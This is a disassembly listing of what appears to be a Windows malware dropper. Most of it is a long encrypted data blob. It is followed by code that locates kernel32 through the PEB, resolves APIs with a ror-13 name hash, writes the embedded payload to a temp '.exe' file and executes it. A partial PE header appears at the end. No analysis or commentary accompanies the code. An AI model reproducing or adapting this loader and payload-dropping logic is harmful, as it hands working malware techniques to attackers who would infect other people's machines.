		dd 8DE6F7FCh, 9CF02F04h, 88F5C9E2h, 0FBA1E882h,	0F5B71582h
		dd 0DC3EF2B3h, 65C5ACE6h, 6DD9A1C5h, 87C8FDEDh,	41FCC9D4h
		dd 0E9851998h, 6B5A0F29h, 992A81E8h, 0EF6388EEh, 8860796Ah
		dd 0A6539851h, 7157B859h, 0F707085Eh, 88C875D6h, 2547BC7Bh
		dd 0CAB3B3B0h, 0A3F1613Eh, 0C9A73934h, 0E49650FBh, 42257920h
		dd 51BEF797h, 22A0D4ACh, 2517B4BAh, 0C70DB8B1h,	69C0188Eh
		dd 88DB4104h, 0A87F10B2h, 40CC7AFDh, 2BABD0F4h,	3161B3ADh
		dd 5C5B6C1h, 8B5D34F6h,	0ECD659E7h, 0C78873DCh,	0A88EB14Ah
		dd 0DAE9B9CCh, 0FD3454E6h, 4B1B405h, 6B349572h,	0C7218A28h
		dd 0ECB5682Eh, 0B619796Fh, 0DC5591Fh, 81F783Ah,	948BE09Ah
		dd 0F881FEAAh, 12CE57C3h, 4BF162ACh, 0EA78557Ah, 8A38754Dh
		dd 0EA6A1AEAh, 466B026Fh, 2059D524h, 8A2C7A55h,	0D463B6D3h
		dd 496473B7h, 6FCEB3BAh, 5E7D84BBh, 5C39813Eh, 9C8C0D9Ah
		dd 0B82E157Fh, 37793E22h, 0C9416CE4h, 19545D6Eh, 1EA28F4Dh
		dd 7FB7B746h, 795BD56Fh, 0DF54E2FFh, 0AE157FDFh, 0CD5A9524h
		dd 0E7327F0Bh, 0C9286F2Dh, 9D432A42h, 28DBEFA6h, 2D92ECF1h
		dd 0CF38DE3Eh, 98A36D10h, 0FC376C7Eh, 0EE3568AAh, 8D9BDFF9h
		dd 27C41CF2h, 5B8F7888h, 0E8DC72BEh, 8B04D2B4h,	0DFF71EE8h
		dd 0A7817A55h, 8FA7A3A4h, 71B706A9h, 7E3ACAFBh,	2CC9CCB2h
		dd 9BC399DCh, 0E5C183CAh, 9FD066C2h, 0BBDBC3D4h, 0DFD723C2h
		dd 3F641CA8h, 0FA6FBEAh, 93AC9BB1h, 72B497BAh, 0BFF0939Fh
		dd 0DA0B20E5h, 0BB054CF6h, 9DEA3D03h, 3F9408E1h, 5B17EA29h
		dd 0B42AC051h, 1CCAAAF7h, 0FD040EBDh, 53375A24h, 0B13A401Ah
		dd 0AB262C32h, 7CEF00C7h, 5A62E9E9h, 0B35BDA43h, 164EAC7Eh
		dd 0ED608A43h, 0DD6C6099h, 9E4ACEF1h, 0BEE3B751h, 0E74839E5h
		dd 0A800C4FAh, 0B0BBFD55h, 0A708AAAh, 0D7B0BCB0h, 0C883E5B0h
		dd 9DBA67A3h, 90B304B6h, 8ADA259Fh, 0AF5CC84h, 16383ADBh
		dd 0E9C9818Bh, 0D699A998h, 0F54DF73Eh, 9CF47DEAh, 0BD6C1CE6h
		dd 5FF58A42h, 6826DCEEh, 0CC354E3h, 9F78BCAh, 64D0BDCBh
		dd 0FCDF5AC4h, 8CC6B9D1h, 0BBC1ACC1h, 0BFA2B2Ch, 0D527DB78h
		dd 0D3D3CF0h, 2A2E872Bh, 0D0330234h, 0E1DD96E1h, 8A036507h
		dd 0ACD3532Ah, 4A193D1Ah, 0E4C19C1Fh, 0A69FB16h, 0ED535D3Ah
		dd 0DC94A167h, 28FC4E66h, 6071BA95h, 0B1D60AA5h, 8A152B5Dh
		dd 7B47C449h, 0D455E3E9h, 3459DB8Eh, 0D67AA950h, 28E799E3h
		dd 96B77DA8h, 0F61FD872h, 57AB3D6Eh, 75E518D7h,	128F65BEh
		dd 0EC9D868Bh, 6583A454h, 0F79B4E82h, 899A59A4h, 0BC9F2591h
		dd 57ED3AFEh, 0D5269BECh, 10EEECF1h, 29F58AECh,	0C922A178h
		dd 29C947FAh, 0A5CB791Fh, 0BCC61DD5h, 4FD1FBE2h, 403F08D8h
		dd 0BB93F101h, 0E9209B3Bh, 0CACEBFF0h, 0EF3F993Dh, 4E2A7D35h
		dd 6937A764h, 0A5B21DFh, 2515CA02h, 90CFC12h, 0FAED487Dh
		dd 0B496AEEh, 197F51B3h, 99C5D1BAh, 15541E51h, 5A4C0F4Ch
		dd 4353F35Ah, 2D7AD6CDh, 24E83679h, 0C6E8BE42h,	0CE4C2F5Ch
		dd 0AE22492Fh, 82015ABBh, 0E58B0D8Ah, 47DEEB09h, 769D7796h
		dd 99CF2900h, 0EC731D77h, 0F549E4DFh, 6AD9AB07h, 6809B1B4h
		dd 0A376F415h, 59AD99C8h, 36BCA882h, 9E32FD80h,	0A8829126h
		dd 7236E610h, 0CD7C6C49h, 2E5ED280h, 0DBF3D45h,	0D64E5846h
		dd 55049D8Eh, 3824BFA8h, 1923C1B8h, 0DEF0C310h,	6934995Bh
		dd 0C090888Bh, 0D585D62h, 0C0B4664Ch, 0AB071204h, 0D1AE8E78h
		dd 0D969B6AAh, 228E3D54h, 706315A5h, 6861125Ch,	28C57FD3h
		dd 0B9A50998h, 5EC778B3h, 0F929D953h, 6ADC68CDh, 8782EBCBh
		dd 0BA325A3Fh, 19FD389Dh, 0F9E78724h, 2972EB6Ch, 0A3BAF143h
		dd 29CC9CBDh, 88516F85h, 4C157C91h, 0C440967Bh,	9B8E0745h
		dd 2D2024DEh, 287494ABh, 1A8AEB87h, 28E2EBF1h, 9150FDE6h
		dd 54EE520h, 0DB0A3BBAh, 0DB0C7B09h, 5B163B13h,	5B18FB15h
		dd 0F51CB81Fh, 0D53A650Fh, 35504525h, 156EA543h, 0CB878579h
		dd 0CB4C4B49h, 4BB64BB3h, 4BB8CBB5h, 48A2CBBFh,	0A5FA15EFh
		dd 45D035C5h, 658ED5A3h, 5A4F5B9h, 0FB8C5B54h, 3B965B93h
		dd 7B98DB95h, 3BE2DB9Fh, 0B5BAD8E1h, 559025A5h,	75EEC583h
		dd 15C4E5F9h, 0EB2185D7h, 2BF66BF3h, 6BF8ABF5h,	2BE2EBFFh
		dd 68E4ABE1h, 65901585h
		dd 4A4EF5A3h, 2A24DA39h, 0A02BA17h, 141674EEh, 1418B415h
		dd 1422F41Fh, 1424B421h, 7A50F72Bh, 5A6EEA43h, 3A04CA79h
		dd 1A22AA17h, 4BB8A4Dh,	4B884B5h, 4A284BFh, 4A484A1h, 87AE84ABh
		dd 0AA0E1A23h, 0CA243A39h, 0EA425A57h, 0A787A6Dh, 34989488h
		dd 7462949Fh, 34649461h, 0F46E946Bh, 0BAEE176Dh, 0DAC42AF9h
		dd 0FAA24AD7h, 1AB86A8Dh, 24558AABh, 6462A47Fh,	2464E461h
		dd 0E46EA46Bh, 0A710646Dh, 0EAA41AB9h, 0CA827A97h, 2AF85AEDh
		dd 0AD6BACBh, 5422B422h, 5424F421h, 0D42EB42Bh,	0D430742Dh
		dd 0FA843737h, 0DAA26A97h, 3B384B4Dh, 1B16AB2Bh, 45EF8B01h
		dd 45A4C5A1h, 0C5AEC5ABh, 0C59045ADh, 0C69A4597h, 0AB421B57h
		dd 4B783B6Dh, 6B16DB0Bh, 0B4CFB21h, 75E4D5BCh, 0B5EED5EBh
		dd 0F5F055EDh, 0B5FA55F7h, 0BB2256F9h, 5B382B0Dh, 7B56CB2Bh
		dd 1B6CEB41h, 65898B7Fh, 0A5EEE5EBh, 0E51025EDh, 0A51A6517h
		dd 0E61C2519h, 6BF81BEDh, 4BD6FBCBh, 2B8CDBA1h,	0BAABBBFh
		dd 952EF556h, 9530352Dh, 953A7537h, 953C3539h, 7BB87643h
		dd 5B96EBABh, 3BECCB81h, 1BCAABFFh, 85238BD5h, 859005ADh
		dd 859A0597h, 859C0599h, 6860583h, 0AB961B8Bh, 0C84C3BA1h
		dd 0E82A583Fh, 8007815h, 0B67016F0h, 0F67A1677h, 0B67C1679h
		dd 76461643h, 0B8569545h, 0D86C2841h, 0F80A487Fh, 18206815h
		dd 0A6BD8833h, 0E61A2617h, 0A61C6619h, 66062603h, 2508E605h
		dd 0E80C1821h, 0C82A783Fh, 28405855h, 87EB873h,	0D63A368Ah
		dd 0D63C7639h, 56C636C3h, 56C8F6C5h, 0F8ECB5CFh, 0D8CA68FFh
		dd 38A048D5h, 18BEA8B3h, 0C65788A9h, 0C69C4699h, 46864683h
		dd 4688C685h, 45F2C68Fh, 0A8AA18BFh, 48803895h,	68FED8F3h
		dd 8D4F8C9h, 0F6FC5624h, 36C656C3h, 76C8D6C5h, 36D2D6CFh
		dd 0B88AD5D1h, 58A02895h, 793EC8B3h, 1914E929h,	0E7F18907h
		dd 27066703h, 6708A705h, 2732E70Fh, 6434A731h, 69401955h
		dd 497EF973h, 2914D909h, 932B927h, 174677BEh, 1748B745h
		dd 1752F74Fh, 1754B751h, 7920745Bh, 593EE933h, 3954C929h
		dd 1E70A947h, 48B8B9Eh,	248595CCh, 48085BEh, 3448984Dh
		dd 7B42A847h, 95012510h, 0F51B051Ah, 6850D49Bh,	986AE46Fh
		dd 15F56B69h, 75FF85FEh, 0B2B6E616h, 87711F74h,	5B0E0273h
		dd 0F7720704h, 0D750676Dh, 9018FED1h, 0E5162F1Bh, 77CB4B11h
		dd 57FEE7C0h, 76ECC7FAh, 0AC3EEB23h, 3B33273Eh,	0D01F601Ch
		dd 37C647CBh, 0B3C1EC07h, 74DB4DC6h, 56882CD9h,	0B666C688h
		dd 3E22266Ch, 25E2E7EFh, 1CE4B8E1h, 352E45DCh, 153CA53Bh
		dd 44894C3Dh, 4E8EFB8Bh, 0B4140C81h, 947A247Ah,	0C2580447h
		dd 0F5995F9Ch, 0FCA337A6h, 1BCAABC1h, 7BFC8BF4h, 0AFB15273h
		dd 61BB2ABEh, 9B92ECB8h, 0FB8A0B8Ch, 0EC8E6A7Dh, 3A525757h
		dd 0DC5CDD51h, 7A358A06h, 5AD4EADEh, 1E6A60A9h,	7774BA69h
		dd 0FA99CC73h, 0DABB6AB4h, 27C44929h, 180FBC02h, 0BC15E508h
		dd 59BCE977h, 0B9C7C9E9h, 0B6261BDFh, 8C2C0521h, 0D87FAC2Fh
		dd 38B148A3h, 2EFAA8E9h, 3BC3DF3Eh, 9DC53EC0h, 0BFF2CE0Dh
		dd 9FF12FFCh, 0EDA1415h, 3DDC80D9h, 3F3D8DE3h, 1F2CAF35h
		dd 4C308CD5h, 22F7C7F2h, 7DFDBFF8h, 9CDE2C95h, 0FCC70CD3h
		dd 6D8FD04Bh, 0A795E590h, 1C0E6D96h, 7D808C10h,	4966EDBAh
		dd 0CEACC3A9h, 5DB277AFh, 0FD2F0D14h, 0DD366D2Bh, 0D744B081h
		dd 0D44A4E47h, 0B28E4C4Dh, 4E69D24Ch, 7D63F264h, 92762246h
		dd 0F29A02EEh, 86188ABh, 0F57B9D7Eh, 13646578h,	0C33FB172h
		dd 9D081F0Dh, 0B3C2C3DAh, 902623C7h, 0D51520D5h, 0C8134F16h
		dd 30538D2Ch, 107EA047h, 0CEF0806Bh, 0C93B4C3Eh, 7D312D34h
		dd 92F220F8h, 0F2D802E3h, 0DBC2650Bh, 47D831DDh, 12AB6EDBh
		dd 728582B6h, 0A26E2BEh, 0FEE082E5h, 5EFE9AE3h,	0F250025Bh
		dd 0D27B6276h, 0DC88A441h, 31866D8Bh, 75B54E86h, 5587E584h
		dd 0C75CC592h, 0FBA94194h, 3EA359AEh, 0D51565F9h, 35044507h
		dd 0BBB10577h, 0F14B11B6h, 55B22E48h, 0B5AFC5A0h, 5592259Eh
		dd 0CD52375Eh, 1E547351h, 34604471h, 141CA419h,	297AFEADh
		dd 187CA279h, 0B4C32E73h, 0F8AB24D1h, 3E029A3Ah, 0D48A6485h
		dd 34E444E8h, 0D41072D7h, 452A4A17h, 573A2E2Ah,	0B72DC738h
		dd 0ECF22756h, 9831623Ch, 1E373632h, 368E468Eh,	1674A683h
		dd 0DAD9370Dh, 0CFDF78DAh, 0B65E0FD0h, 960B2628h, 21A80601h
		dd 0FE7B9E2h, 0A08BF8h,	37F28137h, 6488AEF5h, 57932F8Bh
		dd 0B7F2C786h, 0F35227FAh, 0A1906B9Dh, 1F963B93h, 370A47E4h
		dd 1726A703h, 8DB8746Dh, 60BE09BBh, 0B8960FBEh,	9848289Eh
		dd 91880832h, 7D49D64Ch, 0FF53D756h, 18A1A8DDh,	788A88ACh
		dd 95610EA3h, 926AFC6Eh, 997DEF69h, 0F911090Dh,	91B66926h
		dd 9C0607h, 1A26AA3Ah, 361582CDh, 0CF135416h, 0BA970F1Ch
		dd 9AD02AE6h, 1AE80AC9h, 1C2BBF2Eh, 0FF306834h,	1B36AB2Dh
		dd 4738B87h, 0F3C26903h, 0C8C85ECDh, 0A42BF0CBh, 84091421h
		dd 0D21E73E7h, 0E3E778E2h, 0E0E9ADE4h, 3FA93E2h, 6389F3F7h
		dd 34FFAA39h, 0F88152FCh, 83C3D086h, 0E32373CEh, 62545336h
		dd 0B7992C94h, 0C0A3019Eh, 6322F32Ah, 4355D357h, 44B1C36Fh
		dd 57BBCDB6h, 0E36E30B8h, 0C3845386h, 0E8756A7Dh, 0D64E9269h
		dd 6754E26Ch, 425E105Bh, 0A2153223h, 0ECA81217h, 0B66C2D69h
		dd 760073h, 223AB23Eh, 2B392C4h, 0E6045CE3h, 7FDC500Bh
		dd 9BD232DDh, 0AB192214h, 201F521Ah, 0C1255139h, 2143B15Ch
		dd 5231CBEDh, 2637BB32h, 417C1038h, 0A05D319Ah,	808104Bh
		dd 33CFA9CAh, 1D59BD0h,	21CBB1CBh, 115917Fh, 0BAE61923h
		dd 7EEC1FE9h, 9ECDF9E0h, 0BB37DBDEh, 21F142F4h,	0CEC85E80h
		dd 2E5DBE21h, 619EE74Dh, 0F898BB9Dh, 4F081197h,	0AC223F6Fh
		dd 856A1DACh, 0ED3C5E05h, 0C8AD5B3Fh, 2AB3A5D7h, 1E3229B5h
		dd 0A1599FCAh, 499FD9AEh, 0A66B3989h, 0E85F6495h, 0A4592D5Ch
		dd 0C6F93966h, 0F85503EEh, 4944AEC3h, 67E7316Ch, 47F8D7F0h
		dd 4BC23781h, 4C0EC803h, 210B420Dh, 0C40A5439h,	2408B40Eh
		dd 792592DDh, 0F238226h, 444F112Ch, 0A46A3471h,	0C9F81478h
		dd 563B333Eh, 2C1E0C4h,	2753B759h, 75D9759h, 0BD31313h
		dd 1ED8B0DDh, 0A6ADF2DBh, 81DB1648h, 0FB2E71F5h, 0A5F721F2h
		dd 0E0F91BF4h, 0F69F446Eh, 0A9852380h, 414F128Ah, 0A0A530B2h
		dd 0F9781094h, 819C1A99h, 0C0135D8Fh, 0B0A81867h, 2BB1AFAFh
		dd 63B6B2B2h, 4325D3DEh, 624D4A2Ch, 83CB13CDh, 0E3B673B5h
		dd 2C55A191h, 0F55B6F56h, 24F525Ch, 626CF241h, 28ACD269h
		dd 0F572506Fh, 42784075h, 0E2C17237h, 0C2B652B9h, 870A19C7h
		dd 90100F0Dh, 629B3213h, 42E6D29Eh, 4FE232ECh, 4028F425h
		dd 2A514D2Bh, 8876D0Eh,	0C3589F8h, 0CE85232h, 6CDBFCE1h
		dd 4B0CDCDEh, 0DBDD4EC0h, 43D761DAh, 0ECBE7CBEh, 0CCB15CBAh
		dd 69E5E327h, 0B3FF28E2h, 6C5D33FCh, 4C64DC5Ch,	24423C72h
		dd 7887928Ah, 23818084h, 0CC705C7Bh, 2DA1BC4Bh,	33AEA65Dh
		dd 45A8D8ADh, 4D8C13A7h, 0ADA03DB7h, 86781DB9h,	8FB004B5h
		dd 34A344Fh, 2D1CBD26h,	0D1B9D1Ch, 0D858B313h, 0EF526657h
		dd 39820C6Fh, 7966816Bh, 0EE545C07h, 0E67960B1h, 5F77BA7Ah
		dd 0E745370h, 6E62FE6Ah, 0F4CDE57h, 131F7602h, 0AC48B418h
		dd 0CC50E8D9h, 0CEAC5EAEh, 0D9EABEA5h, 0EC3D6620h, 0A33B163Eh
		dd 4EF7DEECh
		dd 0A9023EF9h, 0B4C42305h, 0F7C257C7h, 0CA6995DDh, 28AFB8A9h
		dd 0C48498B3h, 29EAA8EFh, 6E09CE5h, 0A848382Fh,	885F1844h
		dd 6FF2B459h, 3F88D48Dh, 280E418Bh, 3EAD9E61h, 5996C698h
		dd 3997549Eh, 0D4A94394h, 54EC3B2Bh, 51A5C8A0h,	0CF116BC5h
		dd 0B0B1742Ch, 814B18B6h, 9E870B48h, 0A3473966h, 7059EF44h
		dd 8F961F95h, 0EE657F9Fh, 0E86E8453h, 0B86906Dh, 0D4099E12h
		dd 77C8779h, 4D45EB1Fh,	0B20BF460h, 4B00F30Ch, 0EC8EBC03h
		dd 0C32F5CD1h, 2E25F020h, 34493DDh, 6365F369h, 0FF2B1496h
		dd 17358328h, 83E8BB32h, 54997390h, 16C382FEh, 2205B207h
		dd 3B59206h, 0DAD03589h, 0F6DA6DDFh, 0A3229AD9h, 8366134Eh
		dd 25DC730Fh, 0E2F17EF4h, 3AFF96F2h, 12BF133Ch,	6A83E686h
		dd 4048908Ch, 128D8530h, 0A89DA690h, 2A407119h,	6A9B6AFEh
		dd 0F5957A6Dh, 32BFAEA2h, 6A99FAE5h, 62B31592h,	0BA4D16B0h
		dd 3F890E4Ah, 0EA416634h, 0C25B5E5Eh, 2A59BA97h, 0A1B9A22h
		dd 16693514h, 2E63BA66h, 0AAA25260h, 29271A16h,	0B6712204h
		dd 0CA4B5AC1h, 2A4DBA4Ch, 0BA1F514Eh, 6AA18AB7h, 84B3DAAAh
		dd 0AA854ABFh, 8AB71A86h, 7221F5B0h, 4A3BC63Eh,	0B5BD9A37h
		dd 0F9CF1632h, 0F4318957h, 490C39B6h, 0A9353924h, 42071936h
		dd 0E990ADD4h, 0C92B5932h, 0E1E5762Ch, 39FF55E2h, 6876CDFDh
		dd 48CFD8CEh, 81FDB2D0h, 88AB1845h, 0E8957894h,	0D59A1286h
		dd 289199E5h, 0C867989Ah, 19508D55h, 0B4C7186Ah, 0FD8C09D0h
		dd 0BAEFF4BBh, 0A1B03D86h, 0C8FF6B79h, 1B7E01A5h, 36F798E6h
		dd 0A4586D6Eh, 0CD61FACEh, 256CB151h, 8897D66Bh, 0E8997890h
		dd 29B45882h, 0C1745D79h, 0E60E7573h, 68DDF8DCh, 8923BCDEh
		dd 0A8D9F601h, 88DB18D2h, 0DDD67B24h, 0B9F0612Ch, 2B01BB08h
		dd 253DB1EDh, 7D3BE93Eh, 4B2B1634h, 0AACD3B2Ch,	80881ACEh
		dd 98C374C6h, 0E88E2CDCh, 48D7C417h, 60EDFCD0h,	6AB937EEh
		dd 4ABBDAB2h, 0E8323ABCh, 0C0F55CF8h, 7F334F6h,	0CA3F5A3Eh
		dd 88A5E530h, 393B7580h, 0F89B54FCh, 4A0BB8A3h,	0C894A45Dh
		dd 8A2F1A2Eh, 18EE7A28h, 30B9ACBCh, 489644BAh, 0E04D7C7Dh
		dd 0B84B144Eh, 4A979744h, 0AA813A98h, 4737319Ah, 0EA9D7A9Ch
		dd 0CB5F5B5Eh, 14668067h, 0D97CB861h, 583457B1h, 5FC95E9h
		dd 0E5E2758Fh, 0C5C855D5h, 552EC53Bh, 0C7A6472Eh, 47A8C7A5h
		dd 4792C7AFh, 0C7944791h, 0F5BCE89Bh, 15C285AFh, 35E8A5D5h
		dd 450EC5FBh, 0D8FBFAE1h, 5868B865h, 5872F86Fh,	0D874B871h
		dd 777E787Bh, 0A629A4Fh, 2A08BA15h, 4A2EDA3Bh, 5AD4CAC1h
		dd 2868A8C8h, 6812E86Fh, 2814A811h, 0E81E681Bh,	3A02071Dh
		dd 1A688A15h, 7A4EEA7Bh, 4A94CA61h, 38953A87h, 7832982Fh
		dd 38349831h, 0F83E983Bh, 97C0983Dh, 0AC89AD5h,	6AAEFABBh
		dd 4A94DA81h, 0DA7A4A67h, 8928862h, 8948891h, 89E889Bh
		dd 880889Dh, 7AE82787h,	1A8E8AFBh, 3AD4AAE1h, 0CA3A4AC7h
		dd 182F7A2Dh, 18F4F8F1h, 18FEB8FBh, 18C078FDh, 0B7CAB8C7h
		dd 0AAE9ABBh, 2AD4BAC1h, 0CAFA5AE7h, 0DBE04A0Dh, 6914E9FCh
		dd 291EA91Bh, 0E900691Dh, 290AA907h, 3B4E4609h,	1B148B61h
		dd 0FB3A6B07h, 0CBC04B2Dh, 79C93BD3h, 393ED93Bh, 0F940593Dh
		dd 394A5947h, 0D64CD949h, 0B149B01h, 0EB7A7B67h, 369FA6A2h
		dd 5699C69Ch, 7693E696h, 968D0690h, 0B687268Ah,	0D6814684h
		dd 0F67B667Eh, 16758678h, 366FA672h, 5669C66Ch,	7663E666h
		dd 965D0660h, 0B657265Ah, 0D6514654h, 0F64B664Eh, 16458648h
		dd 363FA642h, 5639C63Ch, 7633E636h, 962D0630h, 0B627262Ah
		dd 0D6214624h, 0F61B661Eh, 16158618h, 360FA612h, 5609C60Ch
		dd 7603E606h, 95FD0600h, 0B5F725FAh, 0D5F145F4h, 0F5EB65EEh
		dd 15E585E8h, 35DFA5E2h, 55D9C5DCh, 75D3E5D6h, 95CD05D0h
		dd 0B5C725CAh, 0D5C145C4h, 0F5BB65BEh, 15B585B8h, 35AFA5B2h
		dd 55A9C5ACh, 75A3E5A6h, 959D05A0h, 0B597259Ah,	0D5914594h
		dd 0F58B658Eh, 15858588h, 357FA582h, 5579C57Ch,	7573E576h
		dd 956D0570h, 0B567256Ah, 0D5614564h, 0F55B655Eh, 15558558h
		dd 354FA552h, 5549C54Ch, 7543E546h, 953D0540h, 0B537253Ah
		dd 0D5314534h, 0F52B652Eh, 15258528h, 351FA522h, 5519C51Ch
		dd 7513E516h, 950D0510h, 0B507250Ah, 0D5014504h, 0F4FB64FEh
		dd 14F584F8h, 34EFA4F2h, 54E9C4ECh, 74E3E4E6h, 94DD04E0h
		dd 0B4D724DAh, 0D4D144D4h, 0F4CB64CEh, 14C584C8h, 34BFA4C2h
		dd 54B9C4BCh, 74B3E4B6h, 94AD04B0h, 0B4A724AAh,	0D4A144A4h
		dd 0F49B649Eh, 14958498h, 348FA492h, 5489C48Ch,	7483E486h
		dd 947D0480h, 0B477247Ah, 0D4714474h, 0F46B646Eh, 14658468h
		dd 345FA462h, 5459C45Ch, 7453E456h, 944D0450h, 0B447244Ah
		dd 0D4414444h, 0F43B643Eh, 14358438h, 342FA432h, 5429C42Ch
		dd 7423E426h, 941D0420h, 0B417241Ah, 0D4114414h, 0F40B640Eh
		dd 14058408h, 33FFA402h, 53F9C3FCh, 73F3E3F6h, 93ED03F0h
		dd 0B3E723EAh, 0D3E143E4h, 0F3DB63DEh, 13D583D8h, 33CFA3D2h
		dd 53C9C3CCh, 73C3E3C6h, 93BD03C0h, 0B3B723BAh,	0D3B143B4h
		dd 0F3AB63AEh, 13A583A8h, 339FA3A2h, 5399C39Ch,	7393E396h
		dd 938D0390h, 0B387238Ah, 0D3814384h, 0F37B637Eh, 13758378h
		dd 336FA372h, 5369C36Ch, 7363E366h, 935D0360h, 0B357235Ah
		dd 0D3514354h, 0F34B634Eh, 13458348h, 333FA342h, 5339C33Ch
		dd 7333E336h, 932D0330h, 0B327232Ah, 0D3214324h, 0F31B631Eh
		dd 13158318h, 330FA312h, 5309C30Ch, 7303E306h, 92FD0300h
		dd 0B2F722FAh, 0D2F142F4h, 0F2EB62EEh, 12E582E8h, 32DFA2E2h
		dd 52D9C2DCh, 72D3E2D6h, 92CD02D0h, 0B2C722CAh,	0D2C142C4h
		dd 0F2BB62BEh, 12B582B8h, 32AFA2B2h, 52A9C2ACh,	72A3E2A6h
		dd 929D02A0h, 0B297229Ah, 0D2914294h, 0F28B628Eh, 12858288h
		dd 327FA282h, 5279C27Ch, 7273E276h, 926D0270h, 0B267226Ah
		dd 0D2614264h, 0F25B625Eh, 12558258h, 324FA252h, 5249C24Ch
		dd 7243E246h, 923D0240h, 0B237223Ah, 0D2314234h, 0F22B622Eh
		dd 12258228h, 321FA222h, 5219C21Ch, 7213E216h, 920D0210h
		dd 0B207220Ah, 0D2014204h, 0F1FB61FEh, 11F581F8h, 31EFA1F2h
		dd 51E9C1ECh, 71E3E1E6h, 91DD01E0h, 0B1D721DAh,	0D1D141D4h
		dd 0F1CB61CEh, 11C581C8h, 31BFA1C2h, 51B9C1BCh,	71B3E1B6h
		dd 91AD01B0h, 0B1A721AAh, 0D1A141A4h, 0F19B619Eh, 11958198h
		dd 318FA192h, 5189C18Ch, 7183E186h, 917D0180h, 0B177217Ah
		dd 0D1714174h, 0F16B616Eh, 11658168h, 315FA162h, 5159C15Ch
		dd 7153E156h, 914D0150h, 0B147214Ah, 0D1414144h, 0F13B613Eh
		dd 11358138h, 312FA132h, 5129C12Ch, 7123E126h, 911D0120h
		dd 0B117211Ah, 0D1114114h, 0F10B610Eh, 11058108h, 30FFA102h
		dd 50F9C0FCh, 70F3E0F6h, 90ED00F0h, 0B0E720EAh,	0D0E140E4h
		dd 0F0DB60DEh, 10D580D8h, 30CFA0D2h, 50C9C0CCh,	70C3E0C6h
		dd 90BD00C0h, 0B0B720BAh, 0D0B140B4h, 0F0AB60AEh, 10A580A8h
		dd 309FA0A2h, 5099C09Ch, 7093E096h, 908D0090h, 0B087208Ah
		dd 0D0814084h, 0F07B607Eh, 10758078h, 306FA072h, 5069C06Ch
		dd 7063E066h, 905D0060h, 0B057205Ah, 0D0514054h, 0F04B604Eh
		dd 10458048h, 303FA042h, 5039C03Ch, 7033E036h, 902D0030h
		dd 0B027202Ah, 0D0214024h, 0F01B601Eh, 10158018h, 300FA012h
		dd 5009C00Ch, 7003E006h
; ---------------------------------------------------------------------------

		public start
start:
		push	offset dword_434000
		call	sub_44402C
		xor	al, 0ADh
		out	77h, al
; ---------------------------------------------------------------------------
aPpcwDcwoCwiCw_	db '¯æwÆ„æwOÍæw›Ðæw.ãæwqÐæw',0
		align 4
		dd 7E0000h

; =============== S U B	R O U T	I N E =======================================



sub_44402C	proc near		; CODE XREF: _0niaacah:00444005p
		call	sub_4440B9
		pop	eax
		pusha
		lea	ebp, [eax-0Ah]
		call	sub_4440A4
		sub	esp, 400h
		mov	esi, esp
		push	esi
		push	200h
		call	dword ptr [ebp+0Ah]
		push	esi
		push	0
		lea	eax, [ebp+2Ah]
		push	eax
		push	esi
		call	dword ptr [ebp+0Eh]
		mov	edi, esi
		xor	eax, eax
		mov	cl, 0FFh
		repne scasb
		mov	dword ptr [edi-1], 6578652Eh
		mov	[edi+3], al
		push	1001h
		lea	eax, [esi+200h]
		mov	byte ptr [eax],	87h
		push	eax
		push	esi
		call	dword ptr [ebp+16h]
		mov	edi, eax
		push	dword ptr [ebp+131h]
		lea	eax, [ebp+135h]
		push	eax
		push	edi
		call	dword ptr [ebp+1Ah]
		push	edi
		call	dword ptr [ebp+1Eh]
		push	0
		push	esi
		call	dword ptr [ebp+12h]
		add	esp, 400h
		popa
		retn
sub_44402C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4440A4	proc near		; CODE XREF: sub_44402C+Ap
		pusha
		mov	edi, eax


loc_4440A7:				; CODE XREF: sub_4440A4+11j
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_4440B7
		push	ebx
		push	eax
		call	sub_4440DD
		stosd
		jmp	short loc_4440A7
; ---------------------------------------------------------------------------


loc_4440B7:				; CODE XREF: sub_4440A4+7j
		popa
		retn
sub_4440A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4440B9	proc near		; CODE XREF: sub_44402Cp
		push	ebp
		mov	eax, large fs:30h
		test	eax, eax
		js	short loc_4440D0
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	short loc_4440D9
; ---------------------------------------------------------------------------


loc_4440D0:				; CODE XREF: sub_4440B9+9j
		mov	eax, [eax+34h]
		mov	ebp, [eax+0B8h]


loc_4440D9:				; CODE XREF: sub_4440B9+15j
		mov	ebx, ebp
		pop	ebp
		retn
sub_4440B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4440DD	proc near		; CODE XREF: sub_4440A4+Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4440F3:				; CODE XREF: sub_4440DD+33j
		jecxz	short loc_444127
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		cld


loc_4440FE:				; CODE XREF: sub_4440DD+2Dj
		xor	eax, eax
		lodsb
		cmp	al, ah
		jz	short loc_44410C
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4440FE
; ---------------------------------------------------------------------------


loc_44410C:				; CODE XREF: sub_4440DD+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4440F3
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		jmp	short loc_444129
; ---------------------------------------------------------------------------


loc_444127:				; CODE XREF: sub_4440DD:loc_4440F3j
		xor	eax, eax


loc_444129:				; CODE XREF: sub_4440DD+48j
		mov	[esp+20h+var_4], eax
		popa
		retn	8
sub_4440DD	endp

; ---------------------------------------------------------------------------
		align 2
		dw 0AAh
		dd 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 0C800h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
